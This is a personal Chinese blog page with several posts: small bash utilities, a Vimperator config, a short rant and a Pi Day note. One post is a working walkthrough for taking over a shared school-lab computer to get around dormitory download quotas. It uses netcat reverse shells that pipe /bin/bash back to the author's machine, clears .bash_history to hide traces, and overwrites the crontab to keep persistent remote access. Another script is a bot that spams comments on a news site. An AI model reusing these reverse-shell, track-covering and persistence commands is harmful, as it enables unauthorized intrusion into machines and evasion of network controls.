我要啦免费统计
  • show show 最近一段时间写的小小小脚本,类似内容可见上一次的日志

    howbig

    #!/bin/bash
    echo -e 'HEAD '$1' HTTP/1.0\n\n' | nc 10.0.254.254 3128 | grep Content-Length

    作用:用netcat向局域网网关发送文件头信息,并grep出文件大小信息(字节),参数-e是为了它能辩认转义符\n(回车)

    升级版的vremind

    #!/bin/bash
    d=`date +%m%d%H%M`
    cd $HOME/tmp/
    rec -r 44100 $d.ogg
    sox $d.ogg -n trim 0 1.5 noiseprof | sox $d.ogg tmp.ogg vol 10 dB noisered - 0.2
    mv tmp.ogg $d.ogg
    for t in $@ ; do
      if [ `expr index "$t" ':'` -eq 0 ]
      then echo "play $HOME/tmp/$d.ogg" | at NOW+$t min
      else echo "play $HOME/tmp/$d.ogg" | at $t
      fi
    done

    作用:先用44100Hz采样率录音,然后生成噪音采样(noiseprof),去噪(noisered)放大音量后存为tmp.ogg再覆盖原录音文件。否则,若一边音频处理一边写入录音文件,会导致文件损坏,丢了25秒左右以后的内容。调用vremind时可以有多个参数,数字参数表示若干分钟后重放,时间(中间有冒号)参数规定重放时刻,可以多次重放。

    jandan

    #!/bin/bash
    cd $HOME/tmp
    wget -nv http://jandan.net/new -O - | grep -o http://jandan\.net/2.*html > old.lst
    while [ true ] ; do
    wget -nv  http://jandan.net/new -O - | grep -o http://jandan\.net/2.*html > new.lst
    sf=`diff old.lst new.lst | grep \> | sed -e 's/> //g'`
    echo $sf
    for url in $sf ; do
    id=`wget -nv $url -O - | sed -n 's/<div class=\"post" id=\"post-\(.*\)\">/\1/p'`
    curl http://jandan.net/wp-comments-post.php --cookie $HOME/jandan_cookies.txt -F "author=pchu" -F "email=username@gmail.com" -F "url=" -F "comment=沙发~" -F "comment_post_ID=$id"
    done
    mv new.lst old.lst
    sleep 2
    done

    作用:煎蛋(jandan.net)的抢沙发机器人,请手动准备好cookies。首先获取文章更新列表放着(只需找2打头的html文件),然后每两秒循环,下一个新的列表,diff一下,用grep \>定位多出来的文章。然后下载该页面,找到该文章的post-id,最后用curl模拟发评论动作,送上cookies、用户名、email,当然还有宝贵的“沙发~”

    fanfou

    #!/bin/bash
    curl -u username@gmail.com -d status="$@" http://api.fanfou.com/statuses/update.xml &>/dev/null

    作用:更新饭否,命令打完回车后,还要输入密码并回车(终端不会显示出来)。当然也可以用cookies解决。

    jiwai

    #!/bin/bash
    curl -u username@gmail.com -d status="$@" http://api.jiwai.de/statuses/update.xml &>/dev/null

    作用:同上

    fren

    #!/bin/bash
    if [ "$1" == "?" ]
     then
     shift
     sdcv -u "Larousse Chambers français-anglais" $@
     else
     sdcv -u "Larousse Chambers français-anglais" $@ | dictwrap
    fi

    作用:用sdcv (StarDict Commandline Version)查法英词典,如果第一个参数是问号,则直接调用sdcv(单词拼错时会有纠错提示);否则把查到的解释传给另一个脚本dictwrap。(因为Larousse Chanbers词典的解释有大量的html标签)

    enfr

    #!/bin/bash
    if [ "$1" == "?" ]
     then
     shift
     sdcv -u "Larousse Chambers English-French" $@
     else
     sdcv -u "Larousse Chambers English-French" $@ | dictwrap
    fi

    作用:同上

    dictwrap

    #!/bin/bash
    grep $@ -v ^"Found 1 items, similar to" |grep -v ^"-->" | grep -v ^$ | sed -e "s/<BR>/\n/g;s/&amp;/\&/g;s/<FONT color=\"#A50021\"><B>/`echo -e '\e[1;31m'`/g;s/<\/B><\/FONT>/`echo -e \\\e[0m`/g;s/<FONT color=\"blue\">/`echo -e '\e[34;40m'`/g;s/<FONT color=\"#A50021\">/`echo -e '\e[32;40m'`/g;s/<FONT color=\"#74726D\">\(.\{,40\}\)<\/FONT>/`echo -e '\e[2m'`\1`echo -e '\e[22m'`/g;s/<\/FONT>/`echo -e \\\e[0m`/g;s/<B>/`echo -e \\\e[1m`/g;s/<\/B>/`echo -e \\\e[21m`/g;s/<I>/`echo -e '\e[4m'`/g;s/<\/I>/`echo -e '\e[24m'`/g;s/<CHARSET c=\"T\">2014;<\/CHARSET>//g"

    作用:先把空行和无聊的字眼去掉,然后把<BR>换成回车转义符,把&amp换成&号,再用ANSI颜色控制码解释各个html标签,比如把<FONT color="#A50021"><B>换成\e[1;31m,其中1表示粗体,31表示红色,同时由于用到转义符\e,echo要加-e参数。

  • .vimperatorrc - [历久常新]

    2009-03-22

    " 这篇日志将持续更新,2009/03/22
    " 关于vimperator的入门简介可见我的另一篇日志
    " 1.2 (created: 2008/08/16 18:51:52)
    " Mappings
    " 先把麻烦的东西拿掉
    map A <Nop>
    map <C-q> <Nop>
    map <C-o> <Nop>
    map <C-i> <Nop>
    map <C-z> <Nop>
    map <C-p> <Nop>
    " 再把页面浏览、标签页跳转和历史跳转绑定到顺手的地方,右手万岁!
    noremap j 2j
    noremap k 2k
    noremap J <C-d>
    noremap K <C-u>
    noremap h gT
    noremap l gt
    noremap H h
    noremap L l
    map < <C-6>
    noremap > g$
    noremap , <C-o>
    noremap . <C-i>
    map U :ju<CR>
    map <C-.> :tabm<CR>
    " 想办法再减少按键频率
    noremap g gg
    noremap s <C-c>
    noremap S gf
    noremap <C-n> gb
    noremap <C-N> gB
    noremap " gn
    noremap ] ]]
    noremap [ [[
    " 解决全选、复制、粘帖、剪切和撤销与vimperator冲突的问题
    noremap <C-V> <C-v>
    noremap <C-Z> <C-z>
    noremap <C-c> <C-v><C-c>
    noremap <C-a> <C-v><C-a>
    cnoremap <C-c> <C-v><C-c>
    cnoremap <C-v> <C-v><C-v>
    cnoremap <C-x> <C-v><C-x>
    inoremap <C-a> <C-v><C-a>
    inoremap <C-c> <C-v><C-c>
    inoremap <C-v> <C-v><C-v>
    inoremap <C-x> <C-v><C-x>
    inoremap <C-z> <C-v><C-z>
    inoremap <C-y> <C-v><C-y>
    " 还原我的书签栏和下载对话框快捷键
    noremap <C-b> <C-v><C-b>
    noremap <C-y> <C-v><C-y>
    " 还原 ctrl-k 跳到搜索栏的快捷键
    noremap <C-k> <C-v><A-d><Tab>
    " 装了dictd后,用F12轻松查单词,grep是用来去除空行的。<F12>查光标焦点所在的单词,<S-F12>查选中的单词
    map <F12> ibvey<Esc><Esc>:!dict <C-v>|grep -v ^$<CR>
    map <S-F12> Y:!dict <C-v>|grep -v ^$<CR>
    " 以下两个没有成功,原因估计是:frcn是 ~/bin 里的脚本,vimperator没读到;vimperator传中文字符“朗道英汉字典”时出问题
    " map <C-F12> Y:!frcn <C-v>|grep -v ^$<CR>
    " map <M-F12> Y:!sdcv -u "朗道英汉字典5.0" <C-v>|fgrep *[<CR>

    " Options
    set guioptions=mT
    set titlestring=Mozilla Firefox
    set popups=2
    set complete=lfbs
    " 齐全的next和previous……需要注意我在 \bnext\b 前加了一个 ^\bnext\b ,因为比如在SciAm网站,经常match到右上角的“What's next”栏目,而不是文章下方的next链接。先match前缀可以解决这个问题。又,suivant和précédent是法语
    set nextpattern=\s*下一页|下一张|下一篇|下一頁|下页|后页\s*,^\bnext\b,\bnext\b,\bsuivant\b,^>$,^(>>|››|»)$,^(>|»),(>|»)$,\bmore\b
    set previouspattern=\s*上一页|上一张|上一篇|上一頁|上页|前页\s*,^\bprev|previous\b,\bprev|previous\b,\bprécédent\b,^<$,^(<<|‹‹|«)$,^(<|«),(<|«)$

    " PassThrough gmail and greader
    autocmd LocationChange .* js modes.passAllKeys = /.*(mail\.google\.com|www\.google\.com\/reader).*/.test(buffer.URL)

    " Another solution,用的是feedmap插件,木有成功
    " :autocmd LocationChange .* :feedmapclear
    " :autocmd LocationChange ^https?://www\\.google\\.com/reader :feedmap! -vkey j k m s t v A u / ?
    " autocmd LocationChange .* :fmapc
    " autocmd LocationChange mail\\.google\\.com/mail :fmap -depth 4 c / j k n p o u e x s r a # [ ] z ? gi gs gt gd ga gc
    " autocmd LocationChange .* :fmapc
    " autocmd LocationChange www\\.google\\.com/reader :fmap! -vkey j k n p m s t v A r S N P X O gh ga gs gt gu u / ?
    " autocmd LocationChange .* :fmapc
    " autocmd LocationChange '^https?://www\.google\.com/calendar/' :fmap! -vkey -event keydown t a d w m x c e <Del> / + q s ?

    " Abbreviations
    " 连按两下:比按:!(居然还要换shift!)要爽
    cabbrev : !

    " Commands
    " noimg可以减少流量,nojs用于调控一些不听话的网页
    command noimg set! permissions.default.image=2
    command ysimg set! permissions.default.image=1
    command nojs set! javascript.enabled=false
    command ysjs set! javascript.enabled=true

    source! ~/_vimperatorrc.local
    source ~/.vimperator/plugin/feedsomeKeys_2.js
    source ~/.vimperator/plugin/toggler.js

    " vim: set ft=vimperator:

  •   情况是这样的,学校宿舍网络每天限下载300M,上传50M,但是电脑室没有限制。电脑室几乎每台机都装有debian和kleber XP双系统,都和宿舍网络同属一个局域网,但是有不同的子网掩码。反正学校局域网路由只记录从宿舍发出的对外的请求和数据流,因而可以让电脑室的电脑向外请求下载数据,然后在局域网内发送给自己的电脑。

      有了之前多次测试积累的经验,我发现即使我得到电脑室电脑(称为remoteB)的ip地址,并且物理接触、开启控制端口,自己的电脑(称为localA)仍然不能连接上。反之,如果在localA开监听端口,再物理接触remoteB、连接过来,则可以进行数据传输,同时注意到localA连接上的都是10.0.254.253,虽然不同于宿舍网关10.0.254.254,不过看来是子网掩码。

      当然,老是用物理接触的方式往localA发送数据也不好,于是我们需要:1 用物理接触(还是要的)让localA获得remoteB的控制,2 用管道直接让remoteB下载的文件实时传输回localA,3 远程清除痕迹。

      实现:

    #本地开个端口,对应参数l(isten)p(ort),vv代表verbose,方便查错
    A: nc -vvlp 10010
    #远程连上本地,-e参数表示把从端口收到的东西传给后面(/bin/bash),从而执行命令
    B: nc 10.0.101.28 10010 -e /bin/bash
    #A收到提示:connect to [10.0.101.28] from club-info.internat.kleber [10.0.254.253] 35512
    #安全起见,立刻毁尸灭迹,并增设多一个控制端口(用新的terminal)
    A2: nc -vvlp 10011
    A(B): echo 'killall bash && killall lxterminal && nc 10.0.101.28 10011 -e /bin/bash' | at 12:00
    #A断了以后
    A: nc -vvlp 10010
    A2(B): echo 'nc 10.0.101.28 10010 -e /bin/bash' | at 12:05
    #之所以用at而不直接nc,是为了保证A2断了不会拉着A一起断,现在有A和A2两个,下文可以互换
    #继续毁尸灭迹(用新的terminal),当然你可以用 /dev/zero 代替新建文件 empty
    A3: nc -vvlp 10001 < ~/empty
    A(B): nc 10.0.101.28 10001 > ~/.bash_history &
    A3: [ctrl-c]
    #可以开始下东西了,早期我用的方法是找个人在上面下载(到remoteB),localA用ls查看,并且拿回来:
    #A3: nc -vvlp 10001 > file1
    #A(B): nc 10.0.101.28 10001 < file_in_B &
    #后面这个&是为了nc在传东西的同时控制端口10010还能继续操作
    #现在么,经过测试,除了remoteB没设置环境变量http_proxy以外,wget非常好用
    A(B): export http_proxy=http://10.0.254.254:3128/
    A3: nc -vvlp 10001 > file1
    A(B): wget http://www.example.com/file.rar -O - | nc 10.0.101.28 10001 &
    #wget的-O参数是把下载的文件重定向到 - (占位符,说明要用管道)
    #查看wget和nc是否正常工作可以用
    A(B): ps -eH
    #列出进程树
    A(B): netstat -p | head
    #检查在传送的网络数据流
    #当时有台机器居然at命令给管理员封了,被迫使用crontab,方法如下:
    #localA新建一个文件,用于覆盖remoteB的cron
    A2: vim cron
    # m h  dom mon dow   command
    0 12 * * * killall bash && killall lxterminal && nc 10.0.101.28 10011 -e /bin/bash
    保存退出
    A2: nc -vvlp 10001 < cron
    A(B): nc 10.0.101.28 10001 | crontab - &
    #这样remoteB就接住了localA发来覆盖cron的文件并且用crontab写入cron,同样 - 代表了从管道读入
    #必须关闭10001端口,remoteB才会把收到的数据正式写入cron
    A2: [ctrl-c]
    #A(B)可以用 crontab -l 看一下是否弄好
    #cron执行后把localA的cron文件删掉第二行,重做一次以消灭痕迹
    #完事了还可以 halt 掉 remoteB(虽然我没试过)

      那个战绩是辉煌的,一般不下到1G左右都不停手,唯一的问题是时不时有人用那台电脑的话,一看是debian,立刻关机重启进XP玩游戏……幸亏差一些没下完的文件可以用 wget -c url 来补齐……

  • 当今的教育部绝对是扼杀人才的侩子手

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    其实我只是想知道,在博客上说这么一句话,校长先生会不会来找我说,“给学校领导造成了很大的压力”……

  • Happy Pi Day! - [生活琐事]

    2009-03-14

    3/14 15:9:26